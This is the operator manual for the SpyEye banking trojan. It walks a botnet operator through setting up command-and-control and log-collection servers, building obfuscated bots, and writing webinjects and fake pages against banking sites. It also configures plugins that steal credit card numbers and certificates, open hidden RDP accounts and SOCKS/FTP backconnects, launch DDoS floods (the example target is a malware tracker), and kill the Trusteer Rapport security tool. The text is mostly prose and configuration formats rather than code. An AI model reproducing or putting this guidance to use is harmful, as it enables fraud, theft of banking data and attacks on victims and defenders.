SpyEye Manual

• Installation
  • Intro
  • Server
    • Main CP
    • Collector
    • Backconnect Server (for SOCKS5 & FTP)
    • RDP Backconnect Server
  • Client
    • Formgrabber CP (Collector's GUI)
    • Builder
      • serial.txt
• Configuration
  • Client
    • Builder
      • plugins
      • screenshots
      • webinjects
      • collectors.txt
      • customconnector
      • dns.txt
    • Plugins
      • webfakes
      • ddos
      • ccgrabber
      • ffcertgrabber
      • socks5 backconnect
      • ftp backconnect
      • rdp backconnect
      • bugreport
      • jabbernotifier
    • Tools
      • uninstaller.exe
      • configdecoder.exe
      • WebInjectesDev

Installation : Intro

The SpyEye main installation tool is a GNU/Linux Debian 5.0 virtual system. In this operating system there are already installed a webserver with the admin formgrabber as well, ssh-client and other tools. To use the operating system VirtualBox is needed.

* Note. The type of hard disk controller must be strictly SATA:

* Note. Info to login into the system:

	

		
login:
		
user
	
	

		
password: 
		
pw 
	
	

		
root password:
		
pw
	

workspace:

* Note. For file sharing with this OS, add a permanent folder in the virtual machine settings, named Input and restart the virtual machine:

Installation : Server : Main CP

Admin home needed to take into account statistics for bots, as well as to control them. For it to work you need a webserver installed with PHP support, as well as a mysql database server.

It is divided into primary and client side. Attached to both installers. The server part is a single file - gate.php. The client part is in Sedeb.

Installation. (to install using a virtual OS, supplied with SpyEye)

In the permanent folder Input is necessary to put the distribution of server side Main CP (gate.tgz).

Fill out the distribution from the folder Input and enter the appropriate user's password from the server:

We use the SSH-client (which is found in any Linux by default) to access the server, where we put the gate:

Go to the webserver folder of the host, where will lay the gate, and, create a folder for the admin panel, navigate to the distribution and unpack it:

Create a database for the admin and two users for this database (one for the server side, the other for the client):

Now, in browser, run installer (this folder is found in the root of the admin panel distribution). Specify the details of the DB and user, created above. Set the password to log into the admin area. Finally, you should have something like this:

After clicking the Install button you should get a log like this:

The server side is set. Now we need to put the client side (found in Sedeb). Similarly to the previous installer, specify the details of the DB and user, and, set a password for login to the admin panel:

Installation complete. Now, regarding the admin panel settings:

• Settings
  • [default]
    • del_period_days — days count, after which the bot is removed from DB, given that, at no time during this period was not online;
    • geoip_update_check_interval_days — update interval of geoip-information on bot (for example, in caso of changing bot IP or in case of upaditng geoip-base on the server);
    • stat_country_num — maximum number of countries, displayed in the construction of the circular diagrams (when viewing statistics);
  • [update]
    • skip_update — if 1, a job to update the bot exe will not be issued;
    • skip_update_config — if 1, a job to update the bot config will not be issued;
  • [interface]
    • auto_reload_panels — if 1, then the panels with the clock and online-bots statistics will autoupdate every 5 seconds;
    • bots_monitoring_geoip_hide — if 1, then the geoip-information about the bots in the Bots Monitoring tab will not be displayed;
  • [virtest]
    • login — login from unlimited account service at virtest.com;
    • password — password from unlimited account service at virtest.com;
  • [rdp]
    • rdp_server_ip — ip, on which is started the RDP-daemon (displayed in the RDP tab);
    • rdp_db — mysql DB;
    • rdp_host — IP, where is the mysql;
    • rdp_password — mysql user password;
    • rdp_table — table with information about the bots (guid, port, display options);
    • rdp_user — mysql user;
  • [bc]
    • bc_db — mysql DB;
    • bc_host — IP, where is the mysql;
    • bc_password — mysql user password;
    • bc_table — table with information about the bots (guid, ip, port, geoip info);
    • bc_user — mysql user;
  • [bc stuff]
    • bc_server_ip — ip, on which is the BC-daemon;
    • bc_show_geoip — if 1, then in the SOCKS, FTP Backconnect tabs will also display information about the bots geoip;
    • bc_show_bots_ip — if 1, then in the SOCKS, FTP Backconnect tabs will be displayed bots IP;

There is a single interface for managing files in the admin panel. It is implemented in the Files tab:

There are three types of jobs created:

• update bot exe
• update bot config
• load third-party exe

Respectively, when loading a file, need to specify what type of job it is. When you create jobs in the Create Task tab, you can specify additional options:

• use build-in pe loader — in this case, to run the executable file through kernel32!CreateProcess(), will be used the built-in PE-loader. (exe's, packed with UPX are also supported);
• replace exe —in this case will replace the bot executable;

Actually, there are 4 possible combinations of these flags to update the bot exe. Update scenaries for each of these cases differ from each other:

• use build-in pe loader [OFF]; replace exe [OFF]; — bots exe's are dropped in the temp-dir, and run the function kernel32!CreateProcess();
• use build-in pe loader [OFF]; replace exe [ON]; — bots exe's fall over loaded, without any run;
• use build-in pe loader [ON]; replace exe [OFF]; — downloaded bot file will be run through pe-loader, and, is not dumped anywhere;
• use build-in pe loader [ON]; replace exe [ON]; — downloaded bot file will be run through pe-loader, and, falls over bot exe;

To specify the Load exe type you also have the use build-in pe loader option, but keep in mind that the exe entry point using PE-loader should be strictly a prototype:

In the next phase of the job, you can select specific bots, for which this task is intended:

Installation : Server : Backconnect Server (for SOCKS5 & FTP)

To work with the bots through the SOCKS5 protocol, or FTP, there's a backconnect server for GNU/Linux.

Installation. (to install using a virtual OS, supplied with SpyEye)

In the permanent location Input you need to put the backconnect-server distribution (distrbc.tgz).

We use the SSH-client (which is found in any Linux by default) to access the server, where we will put backconnect-server:

Put the file where you want, unpack, set up rights:

Create a DB for the bc-server and mysql-user for this DB

Using a text editor like nano edit the config:

Accordingly, the config variables:

• socks_port — port, on which the server listens for connection from the socks-plugin;
• ftp_port — port, on which the server listens for connection from the ftp-plugin;
• ping_timeout — time to wait for reply from a bot (sec.). If doesn't answer - the bot is removed from the current list of connected clients. (by default 5 sec.);
• threads_number — number of threads to process network server activity;
• ftp_limit — maximum number of sockets, which may be occupied by the ftp-plugin;
• socks_limit — maximum number of sockets, which may be occupied by the socks-plugin;
• login — username for the FTP-server authentication (used only in the ftp-plugin);
• password — password for the FTP-server authentication (used only in the ftp-plugin);
• geoip_path — path to the geoip DB file (GeoIPCity.dat by default);
• mysql_host — host machine, on which is running the mysql daemon;
• mysql_user — no comments;
• mysql_pass — no comments;
• mysql_db — DB, to write info about bots;
• mysql_table — DB, to write info about bots;

Now run the server. There must be something like this:

* Note. It makes sense to setup this daemon to autostart by analogy on how is described in the Collector's instalation.

We can only adjust the main admin panel to read the list of bots from the port of the daemon.

Installation : Server : Collector

The collector is a daemon under GNU/Linux OS, taking logs from bots. The protocol, used to send the logs based on TCP and is called Sausages. It uses encryption and LZO-compression. The daemon listens on a specific port for logs from bots and puts them in a mysql-DB. Thereby, to work, it has to be run under GNU/Linux and mysql. In addition, for its installation is required SSH-server access.

Installation. (to install using a virtual OS, that comes with SpyEye)

In the permanent folder Input is needed to be put the collector distribution (distr.tgz).

We use the SSH-client (which is found in any Linux by default) to access the server, where we will put the collector:

Now create a folder where will lie the collector:

In a new terminal window, upload to server the distr.tgz from your folder Input and enter the appropriate user's password from the server:

Unpack the archive, run the script issuing rights to files, perform some file operations:

Now create a DB for the collector and the mysql-user with rights to this DB

Next, use a text editor like nano, edit the configuration of collector, input the DB and user info created above:

Now you can start the collector:

If done correctly, run log will be approximately like this:

The provided manager, allows you to view performance statistics of the daemon. Run it:

If the collector is running, it will display something like this:

* Attention! Do not forget to add a line in the autostart (so, after a reboot, the collector is up and again taking the logs). Need to edit the file /etc/rc.local. You should get something like this:

* Note. To restart the daemon, use the program killall, wait (5 minutes), until it "closes" the sockets on the listening port used by collector and restarts it.

* Note. To determine - wether a port is busy or not on the server, use something like this:

Installation : Server : RDP Backconnect Server

The server is a statically compiled binary for GNU/Linux OS. The daemon stores the info about the connected clients in a mysql database.

Installation. (to install using a virtual OS, that comes with SpyEye)

In the permanent folder Input you must put the RDP-daemon distribution (debian.x86.tar.bz2).

Get the distribution from Input folder and enter the appropriate user's password from the server (in this case, to transfer the file is not used scp, but cat & ssh, because in some cases, conflicts can arise with different versions of glibc):

Go to SSH. Unpack the archive, install the daemon:

Create a mysql-user (it will be used in the main admin panel settings, for a list of bots included with RDP-plugin):

Edit the daemon config:

You can change the following parameters (marked with red are the ones that need to be changed):

• mysql_host — no comments;
• mysql_port — no comments;
• mysql_db — no comments;
• mysql_user — no comments;
• mysql_pass — no comments;
• mysql_table_rdp — no comments;
• mysql_table_logs — no comments;
• cfg_file_log_enabled — flag write debugging information in cfg_file_log;
• cfg_file_log — path to the file where you want to dump debug information;
• cfg_file_log_maxsize — maximum file size for cfg_file_log;
• cfg_file_blacklist — path to the file where will be dumped info on client, which sends the wrong magic_code;
• cfg_ip_address — ip-address, on which the server listens for connection from clients;
• cfg_rdp_port_in — port for cfg_ip_address;
• cfg_rdp_port_out — minimal port for backconnect to connected clients (for each new connected client ports are allocated in order);
• magic_code — string up to 15 characters, inclusive, necessary to authenticate clients;

Now you can start the daemon:

Everything. Daemon is ready.

Installation : Client : Formgrabber CP (Collector's GUI)

For searching info in the collector database there is a PHP interface as formgrabber admin panel. The admin panel is not intended to be found on the server. This is a client application. So, first of all, we go to the virtual system (information about which is described in the Intro).

So, you must first connect to the server, where is the collector DB. To do this use the gnome-terminal and the SSH-client:

Now you need to connect to the mysql daemon, create a new user, and specify that user rights to use the collector DB:

Also check, that the mysql daemon listens and the server external IP:

Use the search function in an editor like nano (Ctrl + W) for string network. Among the results must be:

If is not, then do it :), and restart the mysql-daemon:

Now you can open iceweasel (firefox name in Debian, ice weasel...) and proceed to the installer of the formgrabber panel, setting the info about the collector and the mysql-user DB, created above:

After clicking Install, must be something like this:

Now you can go to the admin panel and search for logs:

Installation : Client : Builder : serial.txt

When you first run the builder this screen appears:

This is the Hardware Identificator. Scroll box, press Ctrl + C and send this text to the author to obtain the contents of the file serial.txt.

Configuration : Client : Builder

Builder looks like this:

Accordingly, builder settings:

• Encryption key — key, with which is encrypted the config.bin. The key is hardcoded in the bot. Be careful, if you want to update the bot config. If you specify the wrong key, which was used in the construction of the bot build, bots will not be able to update the config.


• Clear cookies every startup — if enabled, the bot, every time (whether starting the OS or start the bot build after upgrade) will delete the cookies of IE and FF browsers.
  * Note. If the FF browser is already running, the cookies are not deleted, as FF has an open handle for the cookies database file cookies.sqlite.


• Delete non-exportable certificates — in Windows crypto vault (this is a store and uses the IE browser) there is a special type of certificate - not-exportable. I.e. you can use them, but they cannot be exported, say in a *.pfx, and send to the collector. In this case, SpyEye can also delete all the certificates of this type. In this case, the user did not stay very, how to re-import the certificate into crypto library. And when you import, bot has already uncheck non-exported certificate, and, such a certificate can be sent to the collector. I.e. on the one hand, use this option significantly, on the other hand - effectively.


• Dont send http-reports — it's a fact, that in the HTTP-records is a lot of rubbish. Thereby, it makes sense to send HTTPS-reports only (well, and, in plus, HTTP-reports with Basic-auth data). This is what this option does.


• Compress build by UPX — if enabled, the builder compress the bot build with UPX. If your crypter does not compress the original file, it makes sense to enable this option.


• Make build without ZLIB support  — despite the use of HTTP 1.0 protocol in the FF injections, and the absence of the Accept-Encoding header, some webservers may send compressed content (for example: gzip, deflate). In this case, SpyEye uses the zlib library, to extract the content and its injected data. So, if you believe, that the resources for webservers, with whom you do your webinjects, always transmit in an uncompressed form (in most cases is exactly what happens), feel free to check this option. With the option enabled, the builder generates a bot build without zlib support. This will save 15-16KB of build size (if we compare the difference between UPX compressed builds). However, in case of, if will come the compressed content in FF, the bot will not be able to inject.


• Make LITE-config — the options specifies whether to include in config.bin such things as: webinjects, screenshots and plugins (except customconnector.dll). The fact is, that when creating a bot build, config.bin is ALWAYS hardcoded in the bot's body. In turn, this affects the size of the bot's exe. I.e. if you use heavy webinjects or plugins, it makes sense to build without them, and place the config.bin in the main admin panel. In this case, after infection the bot will load the config from the panel with all the necessary tools. This approach can significantly reduce the size of the bot build.


• EXE name — bot file name, used in the sysatem (after installation).


• Mutex name — mutex name, which is used to identify the bot in the system.


• Anti-Rapport — a built-in module, actively counteracting the anti-rootkit Rapport Trusteer. In particular, SpyEye kills Rapport threads and blocks it from writing debug messages into its reports database. And generally speaking, this module monitors the integrity of bot hooks. Thereby, if the bot has this module, any type of anti-rootkit like Rapport, and other trojans like Zeus will not work. The same RKU, for example, will not be able to remove the hooks while the bot has the module Anti-Rapport.


• FF webinjects — this options specifies - that the FF injections will work.


• timestamp — builder date creation (number of seconds as 1970.01.01). Identical within the same builder version.

The process of creating the build and its config is as follows:

• Creating a lightweight config.bin — you must enable the checkbox Make LITE-config and click Make config & get build.


• Creating a bot build with a lightweight config — please click on the Get build.


• Creating a full-fledged config.bin — you must uncheck the box Make LITE-config and click Make config & get build.

Thus, in the builder folder will appear config.bin, that can be uploaded into the bot admin panel, which can be shipped.

Configuration : Client : Builder : plugins

In builder directory there's a folder plugins. It may contain plugins (*.dll) and configs (*.dll.cfg). The name of the dll defines the plugin name, that will be displayed in the main control panel. This config file should be named, as a result of concatenating the plugin's name and the postfix ".cfg.dll". Example. socks5.dll and socks5.dll.cfg.

For more information about plugins see SpyEye Plugin's SDK.

Configuration : Client : Builder : screenshots

In the builder directory there's a folder screenshots. It may contain plain-text files with the rules of collecting screenshots. Screenshots are made when you click the mouse. Moreover, in the center of the screenshot is the mouse cursor.

Rules file contains lines, each of which must contain five variables, separated by spaces. Format is as follows:

%URL_MASK% %WIDTH% %HEIGHT% %MINIMUM_CLICKS% %MINIMUM_SECONDS%

• URL_MASK

  URL mask. If the application loads the URL resource that falls under the mask, then turns on the appropriate rule to send screenshots. Usually controlled by four vriables, described below.

  * Attention! In the mask is only supported an "*" (asterisk). It means zero or more characters

• WIDTH

  The width of the screenshot.

• HEIGHT

  The height of the screenshot.

• MINIMUM_CLICKS

  Minimum number of clicks, which will be done before the relevant rule turns off.

• MINIMUM_SECONDS

  Minimum number of seconds that pass before, than the corresponding rule is disabled.

Rule off only when the last two options will work (MINIMUM_CLICKS AND MINIMUM_SECONDS). Both!

The question arises - why the last two variables are needed? Because there are problems connected with screenshots. The bot has enough difficulty to know what page was clicked (for example, because the browser can have many tabs). Therefore, there exist the last two variables - one way or another (based on the number of clicks and time elapsed since the load of the HTTP-resource, specified in URL_MASK) turns off screenshots rule.

* Attention! Note the syntax. Do not add a hyphen line (Enter) at the end of any rules file. When joining files, the builder will add it automatically.

So, once again. No need to add enter at the end of the screenshots rules file:

Configuration : Client : Builder : webinjects

In builder directory there's a folder webinjects. It may contain plain-text files with injections rules for HTTP(/HTTPS)-resources. Injections format - Zeus-like. However, they don't support all the flags of mask set_url. Nevertheless, supported flags, quite enough, to talk about a full compatibility with Zeus-native injections. About unsupported flags will be discussed below.

So, a little bit about the syntax.

The file contains the rules in blocks of four tags: set_url, data_before, data_inject, data_after (well, plus tag data_end indicating the end of the tag with the data_).

• set_url

  This tag specifies the mask, which triggers a corresponding injection rule. As well as in Zeus, synactically supports such things as "*" and "#".

  This tag can contain various flags (By default the flag G):

  • G — means that the injection will be made only for the resources that are requested by the GET mothod.
  • P — means that the injection will be made only for the resources that are requested by the POST mothod.
  • L — is a flag for grabbing content between the tags data_before and data_after inclusive. In this case, first part of grabbed data will be pasted from content of data_inject tag. (Note. Ripped content can be found in the formgrabber panel, specifying search criteria Hooked Function : "GRABBED DATA")
  • H —similar to the flag L, except, that the ripped content is not included and the contents of tags data_before and data_after.
• data_before, data_inject, data_after

  There are three situations when dealing with these tags:

• If you find content on the mask data_before and the contents of the tag data_after empty then ... — bot insert the contents of the tag data_inject AFTER data_before.
• If you find content on the mask data_after and the contents of the tag data_before empty then ... — bot insert the contents of the tag data_inject BEFORE data_after.
• If you find content on the mask data_before and data_after then ... — bot will replace the content between the tags data_before and data_after including the contents of tag data_inject.

An example of a webinjects rules file:

* Note. In practice, it was found a quite amusing behavior of BOA webserver using HTTP 1.0 (this version of HTTP uses SpyEye to inject pages in the browser Mozilla Firefox). On some resources (*.css, *.js) the webserver returns compressed content, while in the Content-Encoding was not specified that the content is compressed. Led it to the fact that the browser can recognize the content of such resources Invalid Content and the page displays incorrectly. Despite of such webservers, this can be fixed with the aid of SpyEyejust making an empty rule (with empty tags data_before, data_inject and data_after) to inject *.css and *.js resources.

Differences between SpyEye injetions and Zeus injections:

• The sequence of tags data_before, data_inject, data_after — is important for SpyEye and must be precisely like this, for Zeus is not important
• Zeus as a standard injects CSS and JS content. However, to inject such content in SpyEye, is necessarily needed to create such a rule, as the tag set_url to contain a line ".css" or ".js" (depending on the type of content for injecting)
• In SpyEye is incorrectly implemented the flag H — in Zeus he used to remove the HTML-code of the ripped HTTP-resource content
• In SpyEye the special character "#" is completely analogous to "*" (in tag set_url). Although in Zeus is not so, and the special character "#" used as synonim to "zero or one character"

Configuration : Client : Builder : collectors.txt

In the builder directory must be located the file collectors.txt. In the file you can register a list, each line has the following format (the lines are separated by Enter):

ip:port

I.e. that IP, where is setup SpyEye Collector and PORT, on which the collector listens for logging.

In principle, instead of IP you can specify a domain name (Attention! That domain name, without the prefix "http://" or "https://", for protocol, used to communicate with the collector - TCP, and not HTTP).

* Note. Better bind collector on any known, "common" port (80 or 443), because in some local area networks, routers can block the sending of traffic to the non-standard ports.

* Note. If you can not send data to the first collector, the bot will attempt to send data using a collector listed below (the interval between attempts is 0.1 sec). If the bot reaches the end of the list and sending the data did not succeed, it will save the report in a special storage and will try to send the data at the next logs sending.

Configuration : Client : Builder : customconnector

customconnector is a plugin for bot connection with the main admin panel (gate.php). its dll and configuration file is located in the builder plugins. Each line in this config has the following format:

url;interval_in_sec

• url — path to gate (gate.php) through HTTP or HTTPS protocol.
• interval_in_sec — interval of a knock at a particular gate.

  * Note. This variable must be less than the variable ENT_PERIOD in the main admin panel. Otherwise, the admin panel will display an incorrect number of online/offline bots.

If for some reason you do not have the plugin customconnector, then the builder, when building will produce the following config WARNING:

* Note. If the webserver does not respond, the bot will knock on the admin panel below in the list (pause between attempts will correspond to the intervals specified in the config plugin). If the boat reaches the end of the list, it goes back to the first admin panel and so on.

Configuration : Client : Builder : dns.txt

There were found some cases with domain names banned on the local DNS-servers of some specific countries. Because of this, you can specify your own DNS-servers list. It makes sense to specify as popular DNS-server type google dns. In this case, the bot, to resolve the domains from customconnector.dll.cfg or collectors.txt files will primarily use the DNS-servers, that are listed in dns.txt.

The syntax is exactly the same as in collectors.txt

* Note. Be careful, choosing the DNS-servers. The problem is that if the domain does not exist (or is blocked), that DNS-server could not return any IP. There are DNS-servers, which return the IP even in the case the domain does not exist (for example, OpenDNS). This is meant to redirect to a DNS-service site:

That such should not be. To test the operation of a DNS server is provided the dnsclient.exe tool

Configuration : Client : Plugins : webfakes

Webfakes plugin can be used to spoof the contents of HTTP and HTTPS resources without recourse to the original web server in IE and FF. Config plugin in compatible format to Zeus webfakes and looks as follows:

entry "WebFakes"
%URL_MASK% %URL_REDIRECT% %FLAGS% %POST_BLACK_MASK% %POST_WHITE_MASK% %BLOCK_URL% %WEBFAKE_NAME% %UNBLOCK_URL%
end

• URL_MASK — url mask, determining whether the need for a specific fake HTTP/HTTPS resource.
• URL_REDIRECT — url resource, content to be displayed instead of the original content of the resource.
• FLAGS — supported flags G, P and A. The latter flag may be used for, bot to insert additional headers BG (BotGuid) and REF (Refferer. That is URL resource, for which is fake) in the HTTP header when accessing URL_REDIRECT.
• POST_BLACK_MASK — POST-request black-mask, in which the fakes rule goes into lockdown mode (i.e. stops working).
• POST_WHITE_MASK — if given a POST-request White-mask, a fake will not work until, until doesn't go right under the POST-request mask.
• BLOCK_URL — fake block-mask can be used to block the fake when accessing a specified URL.
• WEBFAKE_NAME — webfake name. I don't really understand why is needed. Perhaps, has been reserved in Zeus for manual fake. Not used.
• UNBLOCK_URL — can be used to remove the block on a fake, when applied to a specific URL.

* Note. There are some kind of problematic working fakes in FF browser. Due to the nature of nspr4 API library, POST-request data, received for analysis in the fakes plugin, limited to the length of 4KB. That is, when drwaing up the fakes rule, be careful - to use of such POST-request variables, which include the first 4KB of HTTP-request (including the size of the HTTP-header).

* Note. The plugin doesn't require to be started manually in the admin panel.

Configuration : Client : Plugins : ddos

DDoS plugin can be used to perform a flood on an target (ex: abuse.ch). Example plugin configuration is below

type target port time
type target port time

• type — flood type, this can be either slowloris/ssyn/udp. (ex: ssyn)
• target — target, DNS/IP of target you wish to perform flood . (ex: spyeyetracker.abuse.ch)
• port — port, port of target you wish to flood on (UDP flood can use 0 as port to use random port). (ex: 443)
• time — time, amount of time to perform flood on target (UDP/SSYN uses seconds || Slowloris uses minutes). (ex: 100)

* Note. The plugin supports multiple flood tasks seperated by new line. (Moves onto next task after completition previous task)

* Note. The slowloris does not use port!.

* Note. The plugin requires to be started manually in the admin panel.

Configuration : Client : Plugins : ccgrabber

The plugin collects CC, analyzing POST-requests applications. For detecting the CC numbers is used the Luhn algorithm. If found a valid CC number, then all the POST-request is sent to the collector. Finding the ripped CC can be done through an appropriate search interface in the admin formgrabber panel:

* Note. The plugin doesn't require to be started manually in the admin panel.

Configuration : Client : Plugins : ffcertgrabber

SpyEye has a basic equipment involved in grabbing certificates from Windows crypto-storage. However, Firefox uses its own certificate store. Because of that, there is a special plugin for grabbing certificates from FF. It provides password guessing by dictionary, in the case of the profile has a master password.

In the plugin config there's only one value - minimum time to wait before sending the certificate to the collector (indicated in seconds).

Ripped certificates are prefixed with "FF ; ". Search can be performed in the same place where are located the IE certificates:

* Note. The plugin does not require to be started manually from the admin panel.

* Note. Password for ripped certificate import check with the author.

Configuration : Client : Plugins : socks5 backconnect

Properly, the plugin starts a SOCKS5 server on the bot and provides access to the server via backconnect. Is available in the main admin panel, allowing to display a list of socks:

They can be used through any software, that supports SOCKS5 protocol. It is recommended to use Proxifier (provided with keygen in the directory tools)

Plugin's config has the following structure:

%BOTNAME%;%IP%;%PORT%;%RECONNECT_INTERVAL_MSEC%;%AUTORUN_FLAG%

• %BOTNAME% — bot's name, displayed in the admin panel. Recommended to leave it as is ("%BOTNAME%"). In this case, the plugin will replace the text to a real bot GUID;
• %IP% — backconnect server's IP;
• %PORT% — PORT, on which the server listens for backconnect connection from bots. In the section Backconnect Server (for SOCKS5 & FTP), it is called socks_port;
• %RECONNECT_INTERVAL_MSEC% — time, that the plugin waits, in case of connection failure, before trying to reconnect to the server;
• %AUTORUN_FLAG% — if 1, then the SOCKS ar started at once, without an admin panel command;

* Note. The plugin requires to be started manually in the admin panel (if wasn't used the %AUTORUN_FLAG% flag).

Configuration : Client : Plugins : ftp backconnect

Actually, the plugin starts up an FTP server on the bot and gives you access to it through backconnect server. It is available in the main admin interface, allowing to display a list of FTPs:

Connect to the bot through either FTP-manager. Recommended by Total Commander.

Plugin config is the same as for the socks plugin, except one difference - %PORT% need to specify that, in the Backconnect Server (for SOCKS5 & FTP) section is called ftp_port.

* Note. The plugin requires to be started manually in the admin panel (if wasn't used the %AUTORUN_FLAG% flag).

Configuration : Client : Plugins : rdp backconnect

This plugin starts up RDP-server and forwards it to the Backconnect server. In addition, the plugin implements the creation of a hidden user, which is needed to remotely use the PC with RDP. Still, the plugin provides the control panel to start any management from any user logged into the system (so you can create a process on behalf of the original users). Moreover, in the plugin have a built-in portable version TotalCommander, downloadable from internet and runs dirrectly from memory (without a dump to disk).

* Note. TotalCommander rocks!

* Note. The plugin doesn't need to restart the OS to work.

So. Plugin config has approximately the following structure:

%IP_OF_BC_SERVER%:%PORT_OF_BC_SERVER%;%MAGIC_CODE%;%WINDOWS_LOGIN%;%WINDOWS_PASSWORD%;%URL_TO_PORTABLE_TCMD%

• %IP_OF_BC_SERVER% — IP of the Backconnect server
• %PORT_OF_BC_SERVER% — port, on which the RDP-daemon listens for connections from bots (in the server-side config it bears the name cfg_rdp_port_in)
• %MAGIC_CODE% — string to authenticate the connected clients (in the server side config it is called magic_code)
• %WINDOWS_LOGIN% — hidden user account name running in the bot's OS.

  Attention The name must be completely unique. Because the plugin can't work with a duplicate %WINDOWS_LOGIN%. Besides, do not use account names with length less than 8 characters. Otherwise, some OS (Windows Server 2003, for example) simply won't allow you to create an user.

• %WINDOWS_PASSWORD% — %WINDOWS_LOGIN% user password.

  * Note. Use passwords, containing letters in lower and upper cases, as well as special characters. The reason is described in the paragraph above.

• %URL_TO_PORTABLE_TCMD% — direct link to ptcmd.exe. From there will be downloaded TotalCMD, if you click on the built-in client software plugin RunAsEx GUI

The plugin is started manually in the admin panel. List of bots can be seen in the corresponding menu item (RDP). The connection to the bot can be done via standard Windows tool mstsc.exe Remote Desktop Connection:

Disadvantages of the current version of the plugin:

• No support for x64 systems;
• The plugin need administrator rights to work;
• Win7 Starter not supported (namely Starter);

Naturally, in the following versions of the plugin, these problems will be solved. But now (excluding the exceptions described above), the plugin works fine on all x86 OS starting with XP, including the OS Vista+, with the included UAC.

Configuration : Client : Plugins : bugreport

* Attention! For the persons, who have no experience with the debugger, this plugin is contraindicated.

If your machine happens to get something like a bot crash type:

Then, the bot, with the help of this plugin can send technical information about the cause of the crash

The plugin hooks ntdll!KiUserExceptionDispatcher() and, if there is one of the following exceptions:

• EXCEPTION_ACCESS_VIOLATION
• EXCEPTION_IN_PAGE_ERROR
• EXCEPTION_STACK_OVERFLOW
• EXCEPTION_FLT_DIVIDE_BY_ZERO
• EXCEPTION_INT_DIVIDE_BY_ZERO
• EXCEPTION_EXECUTE_FAULT
• EXCEPTION_ILLEGAL_INSTRUCTION
• EXCEPTION_READ_FAULT
• EXCEPTION_WRITE_FAULT

... then, the plugin can send detailed error information (including disasm code, where the exception occured ... registers, stack etc.) and about the system to the collector. In turn, in the formgrabber panel, you can turn on the display menu BUGS and look for different exceptions:

With this plugin you can identify problems occuring on the PC holder. That is partially substituted for full JIT-debugger.

The plugin config has some options (can have in the config as keywords).

• autostart — in this case, the plugin is not required to be started in the main admin panel.
• silent — in this case, the thread that caused the exception, goes dormant.
• dont — in this case, the plugin does not send reports on exceptions to the collector.
• slowly_uninstall — in this case, the plugin does not remove the hooks when uninstalling bot (this mode can be used to catch crashbugs during bot's removal or install).

Configuration : Client : Plugins : jabbernotifier

The plugin can can be used for notification on holder entry to one or another link via jabber.

entry "JabberNotifier"
%URL_MASK% %FLAGS% %POST_MASK%
end

• URL_MASK — url mask, determining whether to send a message (URL, which proceedes holder).
• FLAGS — supported flags G, P, corresponding to a particular request method.
• POST_MASK — in the case of P flag being used used, you can use the mask for that POST-request data.

Preferences as to how and where to send the message, specified in the settings of the main admin panel (jabber_notifier section).

* Note. The plugin doesn't require to be started in the admin panel.

Configuration : Client : Tools : uninstaller.exe

This tool is needed to uninstall the bot from system (for example, if you're testing the bot and want to quickly update its configuration, just execute it and run the bot with the new config ... or just want to heal the system from accidental contamination of the bot). To work you need the file settings.ini (produced by the builder). The tool reads out the bot mutex name and the bot exe name. Based on the mutex name, the tool generates the mutex name, required for removal of the bot from the system, and, actually, creates it. After a while, the tool deletes the bot file. There are several messages, which this tool can deliver:

• "There are nothing to clean" — means, that the uninstaller can not detect the bot in the system (probably, the bot is not running).
• "Your system is clean now" — means, that the uninstaller discovered the bot and successfully blew it.
• "Cannot cure your system" — means, that the uninstaller found the bot but didn't blew it (probably, was unable to delete the bot file, and, probably, because, in the settings.ini was specified a wrong bot file name.

Configuration : Client : Tools : configdecoder.exe

This tool needs, to see the contents of config.bin (For example, in case of, if you want to verify the presence or the absence of a plugin/webinjects/etc. in the bot config). Naturally, in order to reveal the configuration, you need the enc. key, recorded in the settings.ini (produced by the builder). If the enc. key is correct, the tool will create a folder !config.bin and will put the contents of the config.bin

Configuration : Client : Tools : WebInjectesDev

WebInjectesDev is a set of tools for developing and testing injects. Consists of:

• userDefineLang.xml — Syntax highlighting for the text editor Notepad++. To add syntax highlighting to Zeus-like injects, you must copy the file userDefineLang.xml to folder "%APPDATA%\Notepad++\".
• ffhookdll.dll — this dll can be added dirrectly into the import table of Mozilla Firefox. For example, using a program like CFF Explorer. In addition, you can use the Remote DLL (to inject the ffhookdll.dll dirrectly into the address space of the process), if you cannot edit the FF executable.
• iehookdll.dll — for the IE browser, this dll can be implemented only using a program like Remote DLL.

So. You place your webinjects in "C:\webinjects.txt", and inject the dll into the appropriate browser. After that, the code is embedded in the browser, that checks the webinjects file for changes. If there are changes, then the injects are loaded into the browser. This approach saves time when making changes to a webinjects file to dislay them in a browser. I.e. to test or write webinjects, you don't need a bot running in the system. Simply use the dll's in the complete WebInjectesDev.

To ensure proper operation of the injects-grabbers, you can use DebugView. The embedded code in the browser sends back the result of the grabbed injects.

It looks like this (right - injects file editor, left - FF with embedded ffhookdll.dll):